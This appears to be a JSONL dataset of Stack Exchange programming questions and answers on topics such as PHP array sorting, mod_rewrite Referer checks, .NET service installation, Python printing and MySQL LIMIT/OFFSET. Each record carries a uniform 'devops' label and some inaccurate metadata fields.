{"id": "hf_bc8a85ef4201", "question": "<p>does anybody know how could I get the TWO most largest values from the third column on the following array?</p>\n\n<pre><code>$ar = array(array(1, 1,   7.50,   'Hello'),\n              array(1, 2,  18.90,   'Hello'),\n              array(3, 5,  11.50,   'Hello'),\n              array(2, 4,  15.90,  'Hello'));\n</code></pre>\n\n<p>Output should be:</p>\n\n<pre><code>15.90\n18.90\n</code></pre>\n\n<p>Thanks in advance</p>\n", "question_body": "", "answer": "If you're sure that the value (two) will never change, just iterate over the array and keep track of the two largest numbers. If not, sort the arrays using\n```\nusort\n```\n()\nand providing an appropriate callback. Then take the first two values:\n```\n```\nfunction cmp($a, $b) {\n    $a = $a[2];\n    $b = $b[2];\n    return $a == $b ? 0 : $a < $b ? 1 : -1;\n}\n\nusort($ar, 'cmp');\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:54.059238"}
{"id": "hf_3a10e81038c1", "question": "<p>I'm trying to figure out how to restrict access to a page unless the page is navigated to from a specific \"gate\" page. Essentially I want the page to be unaccessible unless you're coming from the page that comes before it in my sitemap. I'm not certain this is even possible. If possible, can you limit your suggestions to using either html or javascript?</p>\n", "question_body": "", "answer": "If possible, can you limit your suggestions to using either html or javascript?\nNo.\nBecause there is no secure way\nusing only these two techniques. Everything that goes on on the client side may be manipulated (trivially easy). If you want to be sure, you have to enforce this on the server side by checking for the\n```\nREFERER\n```\n(sic!) header.\nMind, even this can be manipulated.\nIf you're using Apache with\n```\nmod_rewrite\n```\nenabled, the following code will restrict access according to the referring page:\n```\n```\nRewriteEngine On\nRewriteCond %{HTTP_REFERER} !^http://www\\.example\\.com/.*\nRewriteRule /* http://www.example.com/access-denied.html [R,L]\n```\n```\nEDIT: I just checked\nthe manual\n… unfortunately, giving a 401 status code isn't possible here. So the above solution isn't perfect because although it blocks access, it doesn't set the HTTP status accordingly. :-/ Leaves a bad taste in my mouth.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:54.121748"}
{"id": "hf_64abb59eda28", "question": "<p>Is it possible to automatically launch an application from a USB flash drive (bypassing windows prompt asking user what he wants to do)? on windows XP or vista.</p>\n\n<p>I looked into \"autorun.inf\" and \"open\" entry seems to work only for CD drives for Windows XP SP2+ and Vista. Is it possible to launch program automatically on all windows versions?</p>\n\n<p>I don't care if autorun is disabled by user in Windows settings.</p>\n", "question_body": "", "answer": "I've had something set up on my USB keys for a while now. Using the autorun.inf file will work, depending on your system's settings for autorun. Some disable it altogether after that little debacle with Sony a couple years back installing rootkit software on peoples' machines. Here're a couple articles to check out.\nLabel a Flash Drive with Your Name and Number\nHave Your Lost USB Drive Ask For Help (1)\nor\n2", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:54.301089"}
{"id": "hf_93f8195923fa", "question": "<p>Is there any way to do the equivalent of the following in a JSP without using scriptlet?</p>\n\n<pre><code>&lt;% response.setContentType(\"text/plain\");  %&gt;\n</code></pre>\n\n<p>I can't simply use</p>\n\n\n\n<p>because I need to set the content-type in 2 places (each in a different branch of a ) and the JSP compiler will only allow one such directive.</p>\n\n<p>Also, I can't write two separate JSPs and forward to one or the other in a servlet because the JSP is triggered by the container when an authentication failure occurs.</p>\n\n<p>Cheers,\nDon</p>\n", "question_body": "", "answer": "```\n```\n<%@ page language=\"java\" contentType=\"text/plain\" %>\n```\n```\nEdit:\nIf you need to set the MIME type conditionally, you could use\n```\n```\n<% \nif( branch condition ) { \n  response.setContentType(\"text/plain\");\n} else {\n  response.setContentType(\"text/html\"); \n}\n%>\n```\n```\nObviously the above is a scriptlet which goes against the original question. Is there a particular reason for not wanting to use a scriptlet?\nA better approach may be to perform the branch logic in a servlet and forward the request to a JSP which only handles the display. You may choose to use two separate JSPs, one for each content type, if the content itself differs.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:54.338816"}
{"id": "hf_ec6aff947d16", "question": "<p>How do I convert a datetime or date object into a POSIX timestamp in python?  There are methods to create a datetime object out of a timestamp, but I don't seem to find any obvious ways to do the operation the opposite way.</p>\n", "question_body": "", "answer": "```\n```\nimport time, datetime\n\nd = datetime.datetime.now()\nprint time.mktime(d.timetuple())\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:54.363635"}
{"id": "hf_0b4f923d4be9", "question": "<p>I have a standard .NET windows service written in C#.</p>\n\n<p>Can it install itself without using InstallUtil?\nShould I use the service installer class? How should I use it?</p>\n\n<p>I want to be able to call the following:</p>\n\n<pre><code>MyService.exe -install\n</code></pre>\n\n<p>And it will have the same effect as calling:</p>\n\n<pre><code>InstallUtil MyService.exe\n</code></pre>\n", "question_body": "", "answer": "Yes, that is fully possible (i.e. I do exactly this); you just need to reference the right dll (System.ServiceProcess.dll) and add an installer class...\nHere's an example:\n```\n```\n[RunInstaller(true)]\npublic sealed class MyServiceInstallerProcess : ServiceProcessInstaller\n{\n    public MyServiceInstallerProcess()\n    {\n        this.Account = ServiceAccount.NetworkService;\n    }\n}\n\n[RunInstaller(true)]\npublic sealed class MyServiceInstaller : ServiceInstaller\n{\n    public MyServiceInstaller()\n    {\n        this.Description = \"Service Description\";\n        this.DisplayName = \"Service Name\";\n        this.ServiceName = \"ServiceName\";\n        this.StartType = System.ServiceProcess.ServiceStartMode.Automatic;\n    }\n}\n\nstatic void Install(bool undo, string[] args)\n{\n    try\n    {\n        Console.WriteLine(undo ? \"uninstalling\" : \"installing\");\n        using (AssemblyInstaller inst = new AssemblyInstaller(typeof(Program).Assembly, args))\n        {\n            IDictionary state = new Hashtable();\n            inst.UseNewContext = true;\n            try\n            {\n                if (undo)\n                {\n                    inst.Uninstall(state);\n                }\n                else\n                {\n                    inst.Install(state);\n                    inst.Commit(state);\n                }\n            }\n            catch\n            {\n                try\n                {\n                    inst.Rollback(state);\n                }\n                catch { }\n                throw;\n            }\n        }\n    }\n    catch (Exception ex)\n    {\n        Console.Error.WriteLine(ex.Message);\n    }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:54.399553"}
{"id": "hf_8a5780b54c46", "question": "<p>Would there a more elegant way of writing the following syntax? </p>\n\n<pre><code>        Thread t0 = new Thread(new ParameterizedThreadStart(doWork));\n        t0.Start('someVal');\n        t0.Join();\n\n        Thread t1 = new Thread(new ParameterizedThreadStart(doWork));\n        t1.Start('someDiffVal');\n        t1.Join();\n</code></pre>\n\n<p>Presuming we want to pass 20 different values, what would the best way of setting this up be? Looping through and joining at the end?</p>\n\n<p>If a new thread isn't instantiated (like below), it errors that the thread can't be restarted. For example:</p>\n\n<pre><code>        Thread t1 = new Thread(new ParameterizedThreadStart(doWork));\n        t1.Start('someVal');\n        t1.Start('someDiffVal');\n</code></pre>\n", "question_body": "", "answer": "Why would you start a thread and then join against it immediately?\nI'd normally do something like this:\n```\n```\nList<Thread> threads = new List<Thread>();\n\nforeach (string item in items)\n{\n    string copy = item; // Important due to variable capture\n    ThreadStart ts = () => DoWork(copy); // Strongly typed :)\n    Thread t = new Thread(ts);\n    t.Start();\n    threads.Add(t);\n}\n\nforeach (Thread t in threads)\n{\n    t.Join();\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:54.422595"}
{"id": "hf_dea182de6721", "question": "<p>What's the difference between a string and a symbol in Ruby and when should I use one over the other?</p>\n", "question_body": "", "answer": "A symbol is something you use to represent names and strings.  You would want to use a symbol when you may have need to use a string several times as this far easier and more productive.\nAnd just found this via google, which may offer greater detail:\nHere you go", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:54.472308"}
{"id": "hf_2015c8ee84ee", "question": "<p>I have a situation where another developer is including source files from a project that I maintain in a project that he maintains.  The nature of the files is such that each source file registers a \"command\" in an interpretive environment so all you have to do is link in a new source file to register a new \"command\".  We can't put these files in a static library because, unless the project makes explicit reference to the symbols in the file, the linker will optimise the file away. </p>\n\n<p>It seems like a potential solution  is to have a file external to both projects that \"includes\" a list of source file names in both projects.  The problem is that I have no idea whether or how this could be done.  Suggestions, anyone?</p>\n", "question_body": "", "answer": "Could you simply write a source file containing nothing but\n```\n#include\n```\ndirectives? I'm not sure if VS checks whether the dependent files have changed if they're not in the project proper, though.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:54.495661"}
{"id": "hf_8ade4bf27154", "question": "<p>Let's make this very easy. What I want:</p>\n\n<pre><code>@array = qw/one two one/;\nmy @duplicates = duplicate(@array);\nprint \"@duplicates\"; # This should now print 'one'.\n</code></pre>\n\n<p>How to print duplicate values of a array/hash?</p>\n", "question_body": "", "answer": "Use a dictionary, put the value in the key, and the count in the value.\nAh, just noticed you've tagged as perl\n```\nwhile ([...]) {\n $hash{[dbvalue]}++\n}\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:54.567578"}
{"id": "hf_c143123532dc", "question": "<p>I have a large amount of data I need to store, and be able to generate reports on - each one representing an event on a website (we're talking over 50 per second, so clearly older data will need to be aggregated).</p>\n\n<p>I'm evaluating approaches to implementing this, obviously it needs to be reliable, and should be as easy to scale as possible.  It should also be possible to generate reports from the data in a flexible and efficient way.</p>\n\n<p>I'm hoping that some SOers have experience of such software and can make a recommendation, and/or point out the pitfalls.</p>\n\n<p>Ideally I'd like to deploy this on EC2.</p>\n", "question_body": "", "answer": "Wow.  You are opening up a huge topic.\nA few things right off the top of my head...\nthink carefully about your schema for inserts in the transactional part and reads in the reporting part, you may be best off keeping them separate if you have really large data volumes\nlook carefully at the latency that you can tolerate between real-time reporting on your transactions and aggregated reporting on your historical data.  Maybe you should have a process which runs periodically and aggregates your transactions.\nlook carefully at any requirement which sees you reporting across your transactional and aggregated data, either in the same report or as a drill-down from one to the other\nprototype with some meaningful queries and some realistic data volumes\nget yourself a real production quality, enterprise ready database, i.e. Oracle / MSSQL\nthink about using someone else's code/product for the reporting e.g.\nCrystal/BO\n/\nCognos\nas I say, huge topic.  As I think of more I'll continue adding to my list.\nHTH and good luck", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:54.591910"}
{"id": "hf_7a7e2fc365e1", "question": "<p>In python, if I say</p>\n\n<pre><code>print 'h'\n</code></pre>\n\n<p>I get the letter h and a newline.  If I say </p>\n\n<pre><code>print 'h',\n</code></pre>\n\n<p>I get the letter h and no newline.  If I say</p>\n\n<pre><code>print 'h',\nprint 'm',\n</code></pre>\n\n<p>I get the letter h, a space, and the letter m.  How can I prevent Python from printing the space?</p>\n\n<p>The print statements are different iterations of the same loop so I can't just use the + operator.</p>\n", "question_body": "", "answer": "```\n```\nimport sys\n\nsys.stdout.write('h')\nsys.stdout.flush()\n\nsys.stdout.write('m')\nsys.stdout.flush()\n```\n```\nYou need to call\n```\nsys.stdout.flush()\n```\nbecause otherwise it will hold the text in a buffer and you won't see it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:54.629190"}
{"id": "hf_aece399159a3", "question": "<p>how do i determine what a mysql db's charset is set to? in the cli?</p>\n", "question_body": "", "answer": "```\n```\nSHOW CREATE DATABASE db-name\n```\n```\nWill show you the default character set for the database,\n```\n```\nSHOW CREATE TABLE db-name.table-name\n```\n```\nWill show you the character set for a specific table (along with a lot of other information).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:54.651864"}
{"id": "hf_7eb7ae322697", "question": "<p>I am making a site that publishes articles in issues each month. It is straightforward, and I think using a Markdown editor (like the <a href=\"http://code.google.com/p/wmd/\" rel=\"noreferrer\">WMD</a> one here in Stack&nbsp;Overflow) would be perfect.</p>\n\n<p>However, <strong>they do need the ability to have images right-aligned in a given paragraph</strong>.</p>\n\n<p>I can't see a way to do that with the current system - is it possible?</p>\n", "question_body": "", "answer": "You can embed HTML in Markdown, so you can do something like this:\n```\n```\n<img style=\"float: right;\" src=\"whatever.jpg\">\n\nContinue markdown text...\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:54.687090"}
{"id": "hf_58a0b63cf757", "question": "<p>If I have a type defined as a <strong>set of</strong> an enumerated type, it's easy to create an empty set with [], but how do I create a <em>full</em> set?</p>\n\n<p>EDIT:  Yeah, the obvious solution is to use a for loop.  That's also a really bad solution if there's another way. Does anyone know of a way that'll work in constant time?</p>\n", "question_body": "", "answer": "Per Barry's suggestion:\n```\n```\nFillChar(VarSet, SizeOf(VarSet), $FF);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:54.720651"}
{"id": "hf_51fac0e49890", "question": "<p>I keep seeing references to the visitor pattern in blogs but I've got to admit, I just don't get it.  I read the <a href=\"http://en.wikipedia.org/wiki/Visitor_pattern\" rel=\"noreferrer\">wikipedia article for the pattern</a> and I understand its mechanics but I'm still confused as to when I'd use it.</p>\n\n<p>As someone who just recently really <strong>got</strong> the decorator pattern and is now seeing uses for it absolutely everywhere I'd like to be able to really understand intuitively this seemingly handy pattern as well.</p>\n", "question_body": "", "answer": "The reason for your confusion is probably that the Visitor is a fatal misnomer. Many (prominent\n1\n!) programmers have stumbled over this problem. What it actually does is implement\ndouble dispatching\nin languages that don't support it natively (most of them don't).\n1)\nMy favourite example is Scott Meyers, acclaimed author of “Effective C++”, who called this one of his\nmost important C++ aha! moments\never\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:54.782313"}
{"id": "hf_e00cd020044a", "question": "<p>So far, I've only been passing javascript strings to my web methods, which get parsed, usually as Guids. but now i have a method that accepts an IList... on the client, i build this array of objects and then attempt to pass it like: </p>\n\n<pre><code>$.ajax({\n  type: 'POST',\n  url: 'personalization.aspx/SetPersonalization',\n  data: \"{'backerEntries':\" + backerEntries + \"}\",\n  contentType: 'application/json; charset=utf-8',\n  dataType: 'json',\n  success: postcardManager.SetPersonalizationComplete\n});\n</code></pre>\n\n<p>The post: </p>\n\n<pre><code>{'backerEntries':[object Object],[object Object],[object Object]}\n</code></pre>\n\n<p>The error response: </p>\n\n<pre><code>Invalid JSON primitive: object.\n</code></pre>\n\n<p>For some reason, jquery doesn't seem to convert my array into a json string? Any ideas why? I tried putting [] around the backerEntries, and {}, as well as {[]} just in sheer desperation. Am I missing something obvious here? </p>\n", "question_body": "", "answer": "The data you are passing you are trying to pass it as a string already.  If you want jQuery to transform it leave the whole thing as an object, e.g.\n```\n```\ndata:{backerEntries: backerEntries }\n```\n```\nAssuming of course backerEntries is an array.  jQuery should transform this and will append it to the querystring as that is its default behaviour.  Your current code is relying on default JavaScript behaviour which won't by default convert an array into its string representation.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:54.807166"}
{"id": "hf_43a30a214f67", "question": "<p>Hoping some of you TinyXML++ people can help me out. Really, since you recomended to me before I think you owe me ;)</p>\n\n<p>I have the following code:</p>\n\n<pre><code>   //ticpp::Iterator&lt; ticpp::Element &gt; child( \"SetPiece\" );\n    ticpp::Iterator&lt; ticpp::Node &gt; child(\"SetPiece\");\n    GLuint lc_SPieces = 0;\n    for(child = child.begin( this ); child != child.end(); child++ )\n    {\n        lc_SPieces++;\n    }\n</code></pre>\n\n<p>If I use the top declaration for child I get the error:</p>\n\n<blockquote>\n  <p>Unhandled exception at 0x7c812aeb in\n  Drawing.exe: Microsoft C++ exception:\n  __non_rtti_object @ 0x0012f7b4.</p>\n</blockquote>\n\n<p>And I get it in dbgheap.c at this line:</p>\n\n<pre><code>pvBlk = _heap_alloc_dbg(nSize, nBlockUse, szFileName, nLine);\n</code></pre>\n\n<p>What's weird is it works with Node, and I know that there are elements in there(I checked using the TinyXML iteration methods).</p>\n\n<p>Has anyone run into this before?</p>\n", "question_body": "", "answer": "just poking in the dark, i don't know tinyxml, but it seems that a dynamic_cast went wrong. \nIf you dynamic_cast<> a pointer, you get a NULL-pointer on failure. However, if you cast to a reference type, there is no concept of a NULL-reference, so the runtime throws this  exception (or bad_type).\nMSDN on dynamic_cast, and why it can go wrong\nThe line you pasted for the exception to occur does not help to clear up the situation, since it identifies the symptom rather than the cause.\nTry to identify the cast that went wrong, you should be able to find it if you walk up the stack and find the last method in tinyxml libs or headers. Then you can decide whether tinyxml is worng, or you just applied it the wrong way.\ngood luck!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:54.953304"}
{"id": "hf_ae1e7ae80308", "question": "<p>It's easy to get the value of a key from a .NET generic Dictionary:</p>\n\n<pre><code>Dictionary&lt;int, string&gt; greek = new Dictionary&lt;int, string&gt;();\ngreek.Add(1, \"Alpha\");\ngreek.Add(2, \"Beta\");\nstring secondGreek = greek[2];  // Beta\n</code></pre>\n\n<p>But trying to get the keys given a value is not as straightforward because there could be multiple keys:</p>\n\n<pre><code>int[] betaKeys = greek.WhatDoIPutHere(\"Beta\");  // expecting single 2\n</code></pre>\n", "question_body": "", "answer": "revised: okay to have some kind of find you would need something other than dictionary, since if you think about it dictionary are one way keys.  that is, the values might not be unique\nthat said it looks like you're using c#3.0 so you might not have to resort to looping and could use something like:\n```\n```\nvar key = (from k in yourDictionary where string.Compare(k.Value, \"yourValue\", true)  == 0 select k.Key).FirstOrDefault();\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:55.012350"}
{"id": "hf_4c7a85d62849", "question": "<p>There's not a lot to add to the subject really.</p>\n\n<p>I am after a free task board/ burndown reporting tool for Windows.</p>\n", "question_body": "", "answer": "Well, without knowing more about your situation, I have to\nhighly\nrecommend a wall of index cards and a handdrawn chart on flip chart paper. Works much better than any software in the standard situation.\nIf you really have to use software, there is none that I could recommend unreservedly, let alone a free one. You might want to keep in mind that some of the commercial ones are free for open source or academic projects, too. Which one's right for you will depend, besides other things, on how much you want it to define your process.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:55.035239"}
{"id": "hf_aa937ab2c06f", "question": "<p>I'm trying to make a page in php that takes rows from a database, displays them, and then give the viewer a chance to upvote or downvote a specific entry. Here is a snippet:</p>\n\n<pre><code>echo(\"&lt;form action=\\\"vote.php\\\" method=\\\"post\\\"&gt; \\n\");\necho(\"&lt;INPUT type=\\\"hidden\\\" name=\\\"idnum\\\" value=\\\"\".$row[0].\"\\\"&gt;\");\necho(\"&lt;INPUT type=\\\"submit\\\" name=\\\"up\\\" value=\\\"Upvote.\\\"&gt;  \\n\");\necho(\"&lt;INPUT type=\\\"submit\\\" name=\\\"down\\\" value=\\\"Downvote\\\"&gt; \");\necho(\"&lt;form/&gt;\\n\");\n</code></pre>\n\n<p>The problem is when I hit a submit button, the value for idnum that gets sent is based on the one farthest down it seems. So my questions is, when a submit button is pressed, are the values for all inputs on a page sent?</p>\n", "question_body": "", "answer": "Your form is not closed properly. Use\n```\n</form>\n```\ninstead of\n```\n<form/>\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:55.082358"}
{"id": "hf_9738cc28fff2", "question": "<p>I would like to create an HTML table with row colors changing based on position and content.  But instead of alternating every row, I'd like to be able to group rows together, so that I can have some XML like this:</p>\n\n<pre><code>&lt;itemlist&gt;\n   &lt;item group=\"0\"&gt;Conent...blah blah&lt;/item&gt;\n   &lt;item group=\"0\"&gt;Content...who cares&lt;/item&gt;\n   &lt;item group=\"1\"&gt;Content&lt;/item&gt;\n   &lt;item group=\"2\"&gt;Content&lt;/item&gt;\n   &lt;item group=\"2\"&gt;Content&lt;/item&gt;\n&lt;/itemlist&gt;\n</code></pre>\n\n<p>And all of the items with group=0 are one color, and items with group=1 are another, and group=2 are either toggled back to the first color, or are their own color.</p>\n\n<p>All I can seem to find out there is ways to alternate every row, but I can't seem to \"get it\" when it comes to actually using the node data to help me make the decision.</p>\n", "question_body": "", "answer": "The first two groups are simple as you can parse them based on their group number.\nTo handle group 2, consider using the\npreceding\nfunction to get a list of proir notes, and use\ncount\nto determine how many there are. You can can then alternate values based on whether the count is even or odd.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:55.156657"}
{"id": "hf_b66156aeb334", "question": "<p>I seem to remember being able to print out (or locate) the specific switches that each -O&lt;num> option turns on.  Can you remind?</p>\n\n<p>Thanks!</p>\n", "question_body": "", "answer": "You may also try the good ol' manual\n```\n```\n$ man gcc\n```\n```\nat the subsection \"Options That Control Optimization\".", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:55.177882"}
{"id": "hf_73f9e2d536c0", "question": "<p>I would like to know if it is possible to determine if a function parameter with a default value was passed in Python.\nFor example, how does dict.pop work?</p>\n\n<pre><code>&gt;&gt;&gt; {}.pop('test')\nTraceback (most recent call last):\n  File \"&lt;stdin&gt;\", line 1, in &lt;module&gt;\nKeyError: 'pop(): dictionary is empty'\n&gt;&gt;&gt; {}.pop('test',None)\n&gt;&gt;&gt; {}.pop('test',3)\n3\n&gt;&gt;&gt; {}.pop('test',NotImplemented)\nNotImplemented\n</code></pre>\n\n<p>How does the pop method determine that the first time a default return value was not passed? Is this something that can only be done in C?</p>\n\n<p>Thanks</p>\n", "question_body": "", "answer": "You can do it like this:\n```\n```\ndef isdefarg(*args):\n    if len(args) > 0:\n        print len(args), \"arguments\"\n    else:\n        print \"no arguments\"\n\nisdefarg()\nisdefarg(None)\nisdefarg(5, 7)\n```\n```\nSee the Python documentation on\ncalls\nfor full information.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:55.199135"}
{"id": "hf_76d0d107676e", "question": "<p>Does anyone have any suggestions (or a regular expression) for parsing the HTTP Accept header?</p>\n\n<p>I am trying to do some content-type negotiation in ASP.NET MVC. There doesn't seem to be a built in way (which is fine, because there are a lot of schools of thought here), but the parsing is not entirely trivial and I would rather not re-invent the wheel if someone has already done it well and is willing to share.</p>\n", "question_body": "", "answer": "The\nRFC\nis quite complex. If the regex where to follow these rules to the letter, it would become several lines long.\nIf you already have the Accept-header, and ignore the quotes and the parameters, you could do something like this to match each pair:\n```\n```\n/([^()<>@,;:\\\\\"\\/[\\]?={} \\t]+)\\/([^()<>@,;:\\\\\"\\/[\\]?={} \\t]+)/\n```\n```\n```\n*\n```\nis included in the character class, so it does not need any special case in the regex.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:55.218306"}
{"id": "hf_75f91437b334", "question": "<p>As the title describes, what are the different doctypes available and what do they mean? I notice that the layout looks a little different in IE7 when I switch from </p>\n\n<pre><code>&lt;!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.0 Transitional//EN\" &gt;\n</code></pre>\n\n<p>to</p>\n\n<pre><code>&lt;!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\"&gt;\n</code></pre>\n\n<p>Are there any others and what are the effects or ramifications?</p>\n\n<p>Thanks!</p>\n", "question_body": "", "answer": "Here is the official explanation of the various DTD's from the W3C:\nhttp://www.w3.org/QA/2002/04/valid-dtd-list.html\nYou might also find the following beneficial:\nhttp://www.freedivs.com/tutorials/Choosing%20a%20DOCTYPE/", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:55.285561"}
{"id": "hf_9d52e7f12d26", "question": "<p>I used the method</p>\n\n<pre><code>$(\"#dvTheatres a\").hover(function (){\n        $(this).css(\"text-decoration\", \"underline\");\n    },function(){\n        $(this).css(\"text-decoration\", \"none\");\n    }\n);\n</code></pre>\n\n<p>Is there a more elegant method?(single line)</p>\n", "question_body": "", "answer": "Why not just use CSS?\n```\n```\n#dvTheatres a {\n    text-decoration: none;\n}\n\n#dvTheatres a:hover {\n    text-decoration: underline;\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:55.368807"}
{"id": "hf_2b373101431d", "question": "<p>I would like to construct a query that displays all the results in a table, but is offset by 5 from the start of the table. As far as I can tell, MySQL's <code>LIMIT</code> requires a limit as well as an offset. Is there any way to do this?</p>\n", "question_body": "", "answer": "As you mentioned it LIMIT is required, so you need to use the biggest limit possible, which is 18446744073709551615 (maximum of unsigned BIGINT)\n```\n```\nSELECT * FROM somewhere LIMIT 18446744073709551610 OFFSET 5\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:55.395904"}
